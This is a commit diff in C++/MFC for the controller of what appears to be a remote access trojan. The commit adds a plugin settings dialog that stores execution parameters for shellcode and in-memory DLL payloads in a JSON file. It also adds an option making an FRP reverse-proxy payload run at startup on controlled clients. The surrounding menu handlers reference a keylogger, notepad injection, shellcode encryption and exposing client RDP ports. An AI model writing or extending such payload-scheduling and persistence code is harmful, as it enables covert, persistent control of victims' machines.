Feature: DLL executing parameters persistence and DLL auto-run
This commit is contained in:
Binary file not shown.
@@ -69,6 +69,7 @@
|
||||
#include "NotifyManager.h"
|
||||
#include "NotifySettingsDlg.h"
|
||||
#include "FrpsForSubDlg.h"
|
||||
#include "PluginSettingsDlg.h"
|
||||
#include "common/key.h"
|
||||
#include "UIBranding.h"
|
||||
|
||||
@@ -345,7 +346,8 @@ bool IsDll64Bit(BYTE* dllBase)
|
||||
}
|
||||
|
||||
// 返回:读取的字节数组指针(需要手动释放)
|
||||
DllInfo* ReadPluginDll(const std::string& filename, const DllExecuteInfo & execInfo = { MEMORYDLL, 0, CALLTYPE_IOCPTHREAD })
|
||||
DllInfo* ReadPluginDll(const std::string& filename,
|
||||
const DllExecuteInfo& execInfo = { MEMORYDLL, 0, CALLTYPE_IOCPTHREAD, {}, {}, 0, 0, sizeof(DllExecuteInfo)})
|
||||
{
|
||||
// 打开文件(以二进制模式)
|
||||
std::ifstream file(filename, std::ios::binary | std::ios::ate);
|
||||
@@ -413,7 +415,7 @@ DllInfo* ReadTinyRunDll(int pid)
|
||||
}
|
||||
// 设置输出参数
|
||||
auto md5 = CalcMD5FromBytes(dllData, fileSize);
|
||||
DllExecuteInfo info = { SHELLCODE, fileSize, CALLTYPE_DEFAULT, {}, {}, pid };
|
||||
DllExecuteInfo info = { SHELLCODE, fileSize, CALLTYPE_DEFAULT, {}, {}, pid, 0, sizeof(DllExecuteInfo)};
|
||||
memcpy(info.Name, name.c_str(), name.length());
|
||||
memcpy(info.Md5, md5.c_str(), md5.length());
|
||||
BYTE* buffer = new BYTE[1 + sizeof(DllExecuteInfo) + fileSize];
|
||||
@@ -433,7 +435,7 @@ DllInfo* ReadFrpcDll(int callType)
|
||||
BYTE* dllData = ReadResource(IDR_BINARY_FRPC, fileSize);
|
||||
// 设置输出参数
|
||||
auto md5 = CalcMD5FromBytes(dllData, fileSize);
|
||||
DllExecuteInfoNew info = { MEMORYDLL, fileSize, callType };
|
||||
DllExecuteInfoNew info = { MEMORYDLL, fileSize, callType, {}, {}, 0, 0, sizeof(DllExecuteInfoNew)};
|
||||
memcpy(info.Name, name.c_str(), name.length());
|
||||
memcpy(info.Md5, md5.c_str(), md5.length());
|
||||
BYTE* buffer = new BYTE[1 + sizeof(DllExecuteInfoNew) + fileSize];
|
||||
@@ -604,6 +606,8 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
|
||||
m_tinyDLL = NULL;
|
||||
auto dlls = ReadAllDllFilesWindows(GetParentDir() + "\\Plugins");
|
||||
m_DllList.insert(m_DllList.end(), dlls.begin(), dlls.end());
|
||||
// 应用插件配置(从 JSON 文件加载并更新 DllExecuteInfo 参数)
|
||||
CPluginSettingsDlg::PatchDllList(m_DllList);
|
||||
m_TraceTime= THIS_CFG.GetInt("settings", "TraceTime", 1000);
|
||||
}
|
||||
|
||||
@@ -821,6 +825,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_COMMAND(ID_SHELLCODE_AES_BIN, &CMy2015RemoteDlg::OnShellcodeAesBin)
|
||||
ON_COMMAND(ID_SHELLCODE_TEST_AES_BIN, &CMy2015RemoteDlg::OnShellcodeTestAesBin)
|
||||
ON_COMMAND(ID_TOOL_RELOAD_PLUGINS, &CMy2015RemoteDlg::OnToolReloadPlugins)
|
||||
ON_COMMAND(ID_TOOL_PLUGIN_SETTINGS, &CMy2015RemoteDlg::OnToolPluginSettings)
|
||||
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
|
||||
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
|
||||
ON_COMMAND(ID_ONLINE_INJ_NOTEPAD, &CMy2015RemoteDlg::OnOnlineInjNotepad)
|
||||
@@ -851,6 +856,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_COMMAND(ID_FRPS_FOR_SUB, &CMy2015RemoteDlg::OnFrpsForSub)
|
||||
ON_COMMAND(ID_CANCEL_SHARE, &CMy2015RemoteDlg::OnCancelShare)
|
||||
ON_COMMAND(ID_WEB_REMOTE_CONTROL, &CMy2015RemoteDlg::OnWebRemoteControl)
|
||||
ON_COMMAND(ID_PROXY_PORT_AUTORUN, &CMy2015RemoteDlg::OnProxyPortAutorun)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
@@ -937,6 +943,7 @@ VOID CMy2015RemoteDlg::CreateSolidMenu()
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_BACKUP_DATA, MF_BYCOMMAND, &m_bmOnline[40], &m_bmOnline[40]);
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_IMPORT_DATA, MF_BYCOMMAND, &m_bmOnline[41], &m_bmOnline[41]);
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_CHANGE_LANG, MF_BYCOMMAND, &m_bmOnline[42], &m_bmOnline[42]);
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_PLUGIN_SETTINGS, MF_BYCOMMAND, &m_bmOnline[44], &m_bmOnline[44]);
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_RELOAD_PLUGINS, MF_BYCOMMAND, &m_bmOnline[43], &m_bmOnline[43]);
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_PLUGIN_REQUEST, MF_BYCOMMAND, &m_bmOnline[44], &m_bmOnline[44]);
|
||||
m_MainMenu.SetMenuItemBitmaps(ID_FRPS_FOR_SUB, MF_BYCOMMAND, &m_bmOnline[45], &m_bmOnline[45]);
|
||||
@@ -5254,6 +5261,8 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
} else if (std::string(info->Name) == FRPC_DLL_NAME) {
|
||||
auto frpc = ReadFrpcDll(info->CallType);
|
||||
Buffer* buf = frpc->Data;
|
||||
DllExecuteInfo* target = frpc->GetInfo();
|
||||
target->Schedule.Mode = info->Schedule.Mode;
|
||||
// 只有 CMD_EXECUTE_DLL_NEW 才有 Parameters 字段,需要保留
|
||||
if (cmd == CMD_EXECUTE_DLL_NEW) {
|
||||
DllExecuteInfoNew* p = (DllExecuteInfoNew*)(buf->Buf() + 1);
|
||||
@@ -8478,6 +8487,12 @@ void CMy2015RemoteDlg::OnToolReloadPlugins()
|
||||
m_DllList = ReadAllDllFilesWindows(path);
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::OnToolPluginSettings()
|
||||
{
|
||||
CPluginSettingsDlg dlg(m_DllList, this);
|
||||
dlg.DoModal();
|
||||
}
|
||||
|
||||
context* CMy2015RemoteDlg::FindHostByIP(const std::string& ip)
|
||||
{
|
||||
CString clientIP(ip.c_str());
|
||||
@@ -8734,7 +8749,7 @@ std::string GetAuthKey(const char* token, long long timestamp)
|
||||
|
||||
// 基于FRP将客户端端口代理到主控程序的公网
|
||||
// 例如代理3389端口,即可通过 mstsc.exe 进行远程访问
|
||||
void CMy2015RemoteDlg::ProxyClientTcpPort(bool isStandard)
|
||||
void CMy2015RemoteDlg::ProxyClientTcpPort(bool isStandard, bool autoRun)
|
||||
{
|
||||
BOOL useFrp = THIS_CFG.GetInt("frp", "UseFrp", 0);
|
||||
std::string pwd = THIS_CFG.GetStr("frp", "token", "");
|
||||
@@ -8763,6 +8778,8 @@ void CMy2015RemoteDlg::ProxyClientTcpPort(bool isStandard)
|
||||
int serverPort = THIS_CFG.GetInt("frp", "server_port", 7000);
|
||||
int localPort = atoi(dlg.m_str), remotePort = atoi(dlg.m_sSecondInput);
|
||||
auto frpc = ReadFrpcDll(isStandard ? CALLTYPE_FRPC_STDCALL : CALLTYPE_FRPC_CALL);
|
||||
DllExecuteInfo* info = frpc->GetInfo();
|
||||
info->Schedule.Mode = autoRun ? SCH_MODE_STARTUP : SCH_MODE_NONE;
|
||||
FrpcParam param(key.c_str(), timestamp, ip.c_str(), serverPort, localPort, remotePort);
|
||||
EnterCriticalSection(&m_cs);
|
||||
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
|
||||
@@ -8808,6 +8825,11 @@ void CMy2015RemoteDlg::OnProxyPort()
|
||||
}
|
||||
|
||||
|
||||
void CMy2015RemoteDlg::OnProxyPortAutorun()
|
||||
{
|
||||
ProxyClientTcpPort(false, true);
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::OnProxyPortStd()
|
||||
{
|
||||
ProxyClientTcpPort(true);
|
||||
|
||||
@@ -35,6 +35,9 @@ typedef struct DllInfo {
|
||||
{
|
||||
SAFE_DELETE(Data);
|
||||
}
|
||||
DllExecuteInfo* GetInfo() {
|
||||
return (DllExecuteInfo*)(Data->Buf() + 1);
|
||||
}
|
||||
} DllInfo;
|
||||
|
||||
typedef struct FileTransformCmd {
|
||||
@@ -449,6 +452,7 @@ public:
|
||||
afx_msg void OnShellcodeAesBin();
|
||||
afx_msg void OnShellcodeTestAesBin();
|
||||
afx_msg void OnToolReloadPlugins();
|
||||
afx_msg void OnToolPluginSettings();
|
||||
afx_msg void OnShellcodeAesCArray();
|
||||
afx_msg void OnParamKblogger();
|
||||
afx_msg void OnOnlineInjNotepad();
|
||||
@@ -457,7 +461,7 @@ public:
|
||||
afx_msg void OnParamPrivacyWallpaper();
|
||||
afx_msg void OnParamFileV2();
|
||||
afx_msg void OnParamRunAsUser();
|
||||
void ProxyClientTcpPort(bool isStandard);
|
||||
void ProxyClientTcpPort(bool isStandard, bool autoRun=false);
|
||||
afx_msg void OnProxyPort();
|
||||
afx_msg void OnHookWin();
|
||||
afx_msg void OnRunasService();
|
||||
@@ -481,4 +485,5 @@ public:
|
||||
afx_msg void OnMasterTrail();
|
||||
afx_msg void OnCancelShare();
|
||||
afx_msg void OnWebRemoteControl();
|
||||
afx_msg void OnProxyPortAutorun();
|
||||
};
|
||||
|
||||
@@ -337,6 +337,7 @@
|
||||
<ClInclude Include="NotifySettingsDlg.h" />
|
||||
<ClInclude Include="FeatureLimitsDlg.h" />
|
||||
<ClInclude Include="FrpsForSubDlg.h" />
|
||||
<ClInclude Include="PluginSettingsDlg.h" />
|
||||
<ClInclude Include="proxy\HPSocket.h" />
|
||||
<ClInclude Include="proxy\HPTypeDef.h" />
|
||||
<ClInclude Include="proxy\ProxyConnectServer.h" />
|
||||
@@ -385,6 +386,7 @@
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="PluginSettingsDlg.cpp" />
|
||||
<ClCompile Include="WebService.cpp" />
|
||||
<ClCompile Include="..\..\client\MemoryModule.c">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
||||
|
||||
@@ -80,6 +80,7 @@
|
||||
<ClCompile Include="FeatureLimitsDlg.cpp" />
|
||||
<ClCompile Include="WebService.cpp" />
|
||||
<ClCompile Include="msvc_compat.c" />
|
||||
<ClCompile Include="PluginSettingsDlg.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\..\client\Audio.h" />
|
||||
@@ -182,6 +183,7 @@
|
||||
<ClInclude Include="WebServiceAuth.h" />
|
||||
<ClInclude Include="WebPage.h" />
|
||||
<ClInclude Include="SimpleWebSocket.h" />
|
||||
<ClInclude Include="PluginSettingsDlg.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="2015Remote.rc" />
|
||||
|
||||
361
server/2015Remote/PluginSettingsDlg.cpp
Normal file
361
server/2015Remote/PluginSettingsDlg.cpp
Normal file
@@ -0,0 +1,361 @@
|
||||
#include "stdafx.h"
|
||||
#include "PluginSettingsDlg.h"
|
||||
#include "2015RemoteDlg.h"
|
||||
#include "resource.h"
|
||||
#include "jsoncpp/json.h"
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
|
||||
#ifndef _WIN64
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "jsoncpp/jsoncppd.lib")
|
||||
#else
|
||||
#pragma comment(lib, "jsoncpp/jsoncpp.lib")
|
||||
#endif
|
||||
#else
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "jsoncpp/jsoncpp_x64d.lib")
|
||||
#else
|
||||
#pragma comment(lib, "jsoncpp/jsoncpp_x64.lib")
|
||||
#endif
|
||||
#endif
|
||||
|
||||
BEGIN_MESSAGE_MAP(CPluginSettingsDlg, CDialogLangEx)
|
||||
ON_BN_CLICKED(IDC_BTN_SAVE, &CPluginSettingsDlg::OnBnClickedBtnSave)
|
||||
ON_NOTIFY(LVN_ITEMCHANGED, IDC_LIST_PLUGINS, &CPluginSettingsDlg::OnLvnItemchangedListPlugins)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
CPluginSettingsDlg::CPluginSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent)
|
||||
: CDialogLangEx(IDD_DIALOG_PLUGIN_SETTINGS, pParent)
|
||||
, m_DllList(dllList)
|
||||
, m_nSelectedIndex(-1)
|
||||
{
|
||||
}
|
||||
|
||||
CPluginSettingsDlg::~CPluginSettingsDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CPluginSettingsDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialogLangEx::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_LIST_PLUGINS, m_listPlugins);
|
||||
DDX_Control(pDX, IDC_COMBO_RUNTYPE_P, m_comboRunType);
|
||||
DDX_Control(pDX, IDC_COMBO_CALLTYPE, m_comboCallType);
|
||||
DDX_Control(pDX, IDC_COMBO_MODE, m_comboMode);
|
||||
DDX_Control(pDX, IDC_EDIT_INTERVAL, m_editInterval);
|
||||
DDX_Control(pDX, IDC_EDIT_MAXCOUNT, m_editMaxCount);
|
||||
}
|
||||
|
||||
BOOL CPluginSettingsDlg::OnInitDialog()
|
||||
{
|
||||
CDialogLangEx::OnInitDialog();
|
||||
|
||||
// 初始化列表控件
|
||||
InitListCtrl();
|
||||
|
||||
// 初始化运行类型下拉框
|
||||
m_comboRunType.InsertString(SHELLCODE, _TR("Shellcode"));
|
||||
m_comboRunType.InsertString(MEMORYDLL, _TR("内存DLL"));
|
||||
m_comboRunType.SetCurSel(MEMORYDLL);
|
||||
|
||||
// 初始化调用方式下拉框
|
||||
m_comboCallType.InsertString(CALLTYPE_DEFAULT, _TR("自动检测"));
|
||||
m_comboCallType.InsertString(CALLTYPE_IOCPTHREAD, _TR("IOCP线程"));
|
||||
m_comboCallType.InsertString(CALLTYPE_FRPC_CALL, _TR("自定义FRPC[不可用]"));
|
||||
m_comboCallType.InsertString(CALLTYPE_FRPC_STDCALL, _TR("标准FRPC[不可用]"));
|
||||
m_comboCallType.SetCurSel(CALLTYPE_DEFAULT);
|
||||
|
||||
// 初始化调度模式下拉框
|
||||
m_comboMode.InsertString(SCH_MODE_NONE, _TR("不自动执行"));
|
||||
m_comboMode.InsertString(SCH_MODE_STARTUP, _TR("启动执行"));
|
||||
m_comboMode.InsertString(SCH_MODE_DAILY, _TR("每日定时[未实现]"));
|
||||
m_comboMode.InsertString(SCH_MODE_WEEKLY, _TR("每周定时[未实现]"));
|
||||
m_comboMode.SetCurSel(SCH_MODE_NONE);
|
||||
|
||||
// 加载配置
|
||||
m_Configs = LoadPluginConfigs();
|
||||
|
||||
// 加载插件列表
|
||||
LoadPluginsToList();
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void CPluginSettingsDlg::InitListCtrl()
|
||||
{
|
||||
m_listPlugins.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES);
|
||||
|
||||
m_listPlugins.InsertColumn(0, _TR("名称"), LVCFMT_LEFT, 120);
|
||||
m_listPlugins.InsertColumn(1, _TR("大小"), LVCFMT_RIGHT, 80);
|
||||
m_listPlugins.InsertColumn(2, _TR("运行类型"), LVCFMT_LEFT, 80);
|
||||
m_listPlugins.InsertColumn(3, _TR("调度模式"), LVCFMT_LEFT, 120);
|
||||
m_listPlugins.InsertColumn(4, _TR("MD5"), LVCFMT_LEFT, 220);
|
||||
|
||||
GetDlgItem(IDC_STATIC_PLUGIN_SETTINGS)->SetWindowText(_TR("插件参数配置"));
|
||||
GetDlgItem(IDC_STATIC_PLUGIN_RUNTYPE)->SetWindowText(_TR("运行类型:"));
|
||||
GetDlgItem(IDC_STATIC_PLUGIN_CALLTYPE)->SetWindowText(_TR("调用方式:"));
|
||||
GetDlgItem(IDC_STATIC_PLUGIN_SCHEDULE)->SetWindowText(_TR("调度模式:"));
|
||||
GetDlgItem(IDC_STATIC_PLUGIN_INTERVAL)->SetWindowText(_TR("间隔(秒):"));
|
||||
GetDlgItem(IDC_STATIC_PLUGIN_COUNTER)->SetWindowText(_TR("最大次数:"));
|
||||
SetWindowText(_TR("插件设置"));
|
||||
}
|
||||
|
||||
void CPluginSettingsDlg::LoadPluginsToList()
|
||||
{
|
||||
m_listPlugins.DeleteAllItems();
|
||||
|
||||
const char* runTypeNames[] = { "Shellcode", "内存DLL" };
|
||||
const char* modeNames[] = { "不自动执行", "启动执行", "每日定时", "每周定时" };
|
||||
|
||||
int index = 0;
|
||||
for (const auto& dll : m_DllList) {
|
||||
if (!dll || !dll->Data) continue;
|
||||
|
||||
// 获取 DllExecuteInfo
|
||||
const char* buf = (char*)(dll->Data->Buf());
|
||||
if (dll->Data->length() < 1 + sizeof(DllExecuteInfo)) continue;
|
||||
const DllExecuteInfo* info = reinterpret_cast<const DllExecuteInfo*>(buf + 1);
|
||||
|
||||
// 查找或创建配置
|
||||
PluginConfig* cfg = FindConfig(dll->Name);
|
||||
|
||||
m_listPlugins.InsertItem(index, CString(dll->Name.c_str()));
|
||||
|
||||
CString sizeStr;
|
||||
sizeStr.Format(_T("%d KB"), info->Size / 1024);
|
||||
m_listPlugins.SetItemText(index, 1, sizeStr);
|
||||
|
||||
int runType = cfg ? cfg->RunType : info->RunType;
|
||||
int mode = cfg ? cfg->Mode : info->Schedule.Mode;
|
||||
|
||||
m_listPlugins.SetItemText(index, 2, _TR(runTypeNames[runType < 2 ? runType : 0]));
|
||||
m_listPlugins.SetItemText(index, 3, _TR(modeNames[mode < 4 ? mode : 0]));
|
||||
m_listPlugins.SetItemText(index, 4, CString(info->Md5));
|
||||
|
||||
m_listPlugins.SetItemData(index, (DWORD_PTR)dll);
|
||||
index++;
|
||||
}
|
||||
}
|
||||
|
||||
void CPluginSettingsDlg::OnLvnItemchangedListPlugins(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
{
|
||||
LPNMLISTVIEW pNMLV = reinterpret_cast<LPNMLISTVIEW>(pNMHDR);
|
||||
*pResult = 0;
|
||||
|
||||
if (pNMLV->uNewState & LVIS_SELECTED) {
|
||||
m_nSelectedIndex = pNMLV->iItem;
|
||||
UpdateSelectedPluginInfo();
|
||||
}
|
||||
}
|
||||
|
||||
void CPluginSettingsDlg::UpdateSelectedPluginInfo()
|
||||
{
|
||||
if (m_nSelectedIndex < 0) return;
|
||||
|
||||
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(m_nSelectedIndex));
|
||||
if (!dll || !dll->Data) return;
|
||||
|
||||
const char* buf = (char*)(dll->Data->Buf());
|
||||
const DllExecuteInfo* info = reinterpret_cast<const DllExecuteInfo*>(buf + 1);
|
||||
|
||||
// 查找配置(如果有)
|
||||
PluginConfig* cfg = FindConfig(dll->Name);
|
||||
|
||||
// 更新下拉框和编辑框
|
||||
int runType = cfg ? cfg->RunType : info->RunType;
|
||||
int callType = cfg ? cfg->CallType : info->CallType;
|
||||
int mode = cfg ? cfg->Mode : info->Schedule.Mode;
|
||||
unsigned int interval = cfg ? cfg->Interval : info->Schedule.Config.Startup.Interval;
|
||||
unsigned char maxCount = cfg ? cfg->MaxCount : info->Schedule.MaxCount;
|
||||
|
||||
m_comboRunType.SetCurSel(runType < 2 ? runType : 0);
|
||||
m_comboCallType.SetCurSel(callType < 4 ? callType : 0);
|
||||
m_comboMode.SetCurSel(mode < 4 ? mode : 0);
|
||||
|
||||
CString str;
|
||||
str.Format(_T("%u"), interval);
|
||||
m_editInterval.SetWindowText(str);
|
||||
|
||||
str.Format(_T("%u"), maxCount);
|
||||
m_editMaxCount.SetWindowText(str);
|
||||
}
|
||||
|
||||
void CPluginSettingsDlg::OnBnClickedBtnSave()
|
||||
{
|
||||
if (m_nSelectedIndex < 0) {
|
||||
MessageBoxL(_T("请先选择一个插件"), _T("提示"), MB_ICONINFORMATION);
|
||||
return;
|
||||
}
|
||||
|
||||
SaveCurrentPluginConfig();
|
||||
SavePluginConfigs(m_Configs);
|
||||
|
||||
// 刷新列表显示
|
||||
LoadPluginsToList();
|
||||
|
||||
// 重新选中
|
||||
m_listPlugins.SetItemState(m_nSelectedIndex, LVIS_SELECTED | LVIS_FOCUSED, LVIS_SELECTED | LVIS_FOCUSED);
|
||||
|
||||
MessageBoxL(_T("配置已保存"), _T("提示"), MB_ICONINFORMATION);
|
||||
}
|
||||
|
||||
void CPluginSettingsDlg::SaveCurrentPluginConfig()
|
||||
{
|
||||
if (m_nSelectedIndex < 0) return;
|
||||
|
||||
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(m_nSelectedIndex));
|
||||
if (!dll || !dll->Data) return;
|
||||
|
||||
const char* buf = (char*)dll->Data->Buf();
|
||||
const DllExecuteInfo* info = reinterpret_cast<const DllExecuteInfo*>(buf + 1);
|
||||
|
||||
// 查找或创建配置
|
||||
PluginConfig* cfg = FindConfig(dll->Name);
|
||||
if (!cfg) {
|
||||
PluginConfig newCfg;
|
||||
newCfg.Name = dll->Name;
|
||||
m_Configs.push_back(newCfg);
|
||||
cfg = &m_Configs.back();
|
||||
}
|
||||
|
||||
cfg->Md5 = info->Md5;
|
||||
cfg->RunType = m_comboRunType.GetCurSel();
|
||||
cfg->CallType = m_comboCallType.GetCurSel();
|
||||
cfg->Mode = (unsigned char)m_comboMode.GetCurSel();
|
||||
|
||||
CString str;
|
||||
m_editInterval.GetWindowText(str);
|
||||
cfg->Interval = _ttoi(str);
|
||||
|
||||
m_editMaxCount.GetWindowText(str);
|
||||
cfg->MaxCount = (unsigned char)_ttoi(str);
|
||||
|
||||
// 更新 DllInfo 中的 Buffer(修改 DllExecuteInfo)
|
||||
DllExecuteInfo* infoMut = const_cast<DllExecuteInfo*>(info);
|
||||
infoMut->RunType = cfg->RunType;
|
||||
infoMut->CallType = cfg->CallType;
|
||||
infoMut->Schedule.Mode = cfg->Mode;
|
||||
infoMut->Schedule.Config.Startup.Interval = cfg->Interval;
|
||||
infoMut->Schedule.MaxCount = cfg->MaxCount;
|
||||
}
|
||||
|
||||
PluginConfig* CPluginSettingsDlg::FindConfig(const std::string& name)
|
||||
{
|
||||
for (auto& cfg : m_Configs) {
|
||||
if (cfg.Name == name) {
|
||||
return &cfg;
|
||||
}
|
||||
}
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
std::string CPluginSettingsDlg::GetPluginConfigPath()
|
||||
{
|
||||
std::string dbPath = GetDbPath();
|
||||
// 获取目录部分
|
||||
size_t pos = dbPath.find_last_of("\\/");
|
||||
std::string dir = (pos != std::string::npos) ? dbPath.substr(0, pos + 1) : "";
|
||||
return dir + "plugins.json";
|
||||
}
|
||||
|
||||
std::vector<PluginConfig> CPluginSettingsDlg::LoadPluginConfigs()
|
||||
{
|
||||
std::vector<PluginConfig> configs;
|
||||
std::string path = GetPluginConfigPath();
|
||||
|
||||
std::ifstream file(path);
|
||||
if (!file.is_open()) {
|
||||
return configs;
|
||||
}
|
||||
|
||||
Json::Value root;
|
||||
Json::CharReaderBuilder builder;
|
||||
std::string errors;
|
||||
|
||||
if (!Json::parseFromStream(builder, file, &root, &errors)) {
|
||||
return configs;
|
||||
}
|
||||
|
||||
if (!root.isArray()) {
|
||||
return configs;
|
||||
}
|
||||
|
||||
for (const auto& item : root) {
|
||||
PluginConfig cfg;
|
||||
cfg.Name = item.get("name", "").asString();
|
||||
cfg.Md5 = item.get("md5", "").asString();
|
||||
cfg.RunType = item.get("runType", MEMORYDLL).asInt();
|
||||
cfg.CallType = item.get("callType", CALLTYPE_IOCPTHREAD).asInt();
|
||||
cfg.Mode = (unsigned char)item.get("mode", SCH_MODE_NONE).asInt();
|
||||
cfg.Flags = (unsigned char)item.get("flags", 0).asInt();
|
||||
cfg.Interval = item.get("interval", 0).asUInt();
|
||||
cfg.MaxCount = (unsigned char)item.get("maxCount", 0).asInt();
|
||||
|
||||
if (!cfg.Name.empty()) {
|
||||
configs.push_back(cfg);
|
||||
}
|
||||
}
|
||||
|
||||
return configs;
|
||||
}
|
||||
|
||||
void CPluginSettingsDlg::SavePluginConfigs(const std::vector<PluginConfig>& configs)
|
||||
{
|
||||
std::string path = GetPluginConfigPath();
|
||||
|
||||
Json::Value root(Json::arrayValue);
|
||||
|
||||
for (const auto& cfg : configs) {
|
||||
Json::Value item;
|
||||
item["name"] = cfg.Name;
|
||||
item["md5"] = cfg.Md5;
|
||||
item["runType"] = cfg.RunType;
|
||||
item["callType"] = cfg.CallType;
|
||||
item["mode"] = cfg.Mode;
|
||||
item["flags"] = cfg.Flags;
|
||||
item["interval"] = cfg.Interval;
|
||||
item["maxCount"] = cfg.MaxCount;
|
||||
root.append(item);
|
||||
}
|
||||
|
||||
std::ofstream file(path);
|
||||
if (file.is_open()) {
|
||||
Json::StreamWriterBuilder builder;
|
||||
builder["indentation"] = " ";
|
||||
std::unique_ptr<Json::StreamWriter> writer(builder.newStreamWriter());
|
||||
writer->write(root, &file);
|
||||
}
|
||||
}
|
||||
|
||||
void CPluginSettingsDlg::PatchDllList(std::vector<DllInfo*>& dllList)
|
||||
{
|
||||
std::vector<PluginConfig> configs = LoadPluginConfigs();
|
||||
|
||||
for (auto& dll : dllList) {
|
||||
if (!dll || !dll->Data) continue;
|
||||
|
||||
// 查找对应的配置
|
||||
PluginConfig* cfg = nullptr;
|
||||
for (auto& c : configs) {
|
||||
if (c.Name == dll->Name) {
|
||||
cfg = &c;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!cfg) continue;
|
||||
|
||||
// 更新 DllExecuteInfo
|
||||
char* buf = (char*)dll->Data->Buf();
|
||||
if (dll->Data->length() < 1 + sizeof(DllExecuteInfo)) continue;
|
||||
|
||||
DllExecuteInfo* info = reinterpret_cast<DllExecuteInfo*>(buf + 1);
|
||||
info->RunType = cfg->RunType;
|
||||
info->CallType = cfg->CallType;
|
||||
info->Schedule.Mode = cfg->Mode;
|
||||
info->Schedule.Flags = cfg->Flags;
|
||||
info->Schedule.Config.Startup.Interval = cfg->Interval;
|
||||
info->Schedule.MaxCount = cfg->MaxCount;
|
||||
}
|
||||
}
|
||||
73
server/2015Remote/PluginSettingsDlg.h
Normal file
73
server/2015Remote/PluginSettingsDlg.h
Normal file
@@ -0,0 +1,73 @@
|
||||
#pragma once
|
||||
|
||||
#include "resource.h"
|
||||
#include "LangManager.h"
|
||||
#include "common/commands.h"
|
||||
#include "common/scheduler.h"
|
||||
#include <vector>
|
||||
#include <string>
|
||||
|
||||
// 前向声明
|
||||
struct DllInfo;
|
||||
|
||||
// 插件配置结构体(用于 JSON 存储)
|
||||
struct PluginConfig {
|
||||
std::string Name; // 插件名称(作为唯一标识)
|
||||
std::string Md5; // MD5
|
||||
int RunType; // 运行类型
|
||||
int CallType; // 调用方式
|
||||
unsigned char Mode; // 调度模式
|
||||
unsigned char Flags; // 标志位
|
||||
unsigned int Interval; // 间隔(秒)
|
||||
unsigned char MaxCount; // 最大次数
|
||||
|
||||
PluginConfig() : RunType(MEMORYDLL), CallType(CALLTYPE_IOCPTHREAD), Mode(SCH_MODE_NONE), Flags(0), Interval(0), MaxCount(0) {}
|
||||
};
|
||||
|
||||
// 插件设置对话框
|
||||
class CPluginSettingsDlg : public CDialogLangEx
|
||||
{
|
||||
public:
|
||||
CPluginSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent = nullptr);
|
||||
virtual ~CPluginSettingsDlg();
|
||||
|
||||
enum { IDD = IDD_DIALOG_PLUGIN_SETTINGS };
|
||||
|
||||
// 静态方法:加载插件配置
|
||||
static std::vector<PluginConfig> LoadPluginConfigs();
|
||||
// 静态方法:保存插件配置
|
||||
static void SavePluginConfigs(const std::vector<PluginConfig>& configs);
|
||||
// 静态方法:获取配置文件路径
|
||||
static std::string GetPluginConfigPath();
|
||||
// 静态方法:根据配置更新 DllInfo(Patch)
|
||||
static void PatchDllList(std::vector<DllInfo*>& dllList);
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX);
|
||||
virtual BOOL OnInitDialog();
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
afx_msg void OnBnClickedBtnSave();
|
||||
afx_msg void OnLvnItemchangedListPlugins(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
|
||||
private:
|
||||
void InitListCtrl();
|
||||
void LoadPluginsToList();
|
||||
void UpdateSelectedPluginInfo();
|
||||
void SaveCurrentPluginConfig();
|
||||
PluginConfig* FindConfig(const std::string& name);
|
||||
|
||||
private:
|
||||
std::vector<DllInfo*>& m_DllList; // 引用主对话框的 DLL 列表
|
||||
std::vector<PluginConfig> m_Configs; // 插件配置列表
|
||||
int m_nSelectedIndex; // 当前选中的列表项索引
|
||||
|
||||
// 控件变量
|
||||
CListCtrl m_listPlugins;
|
||||
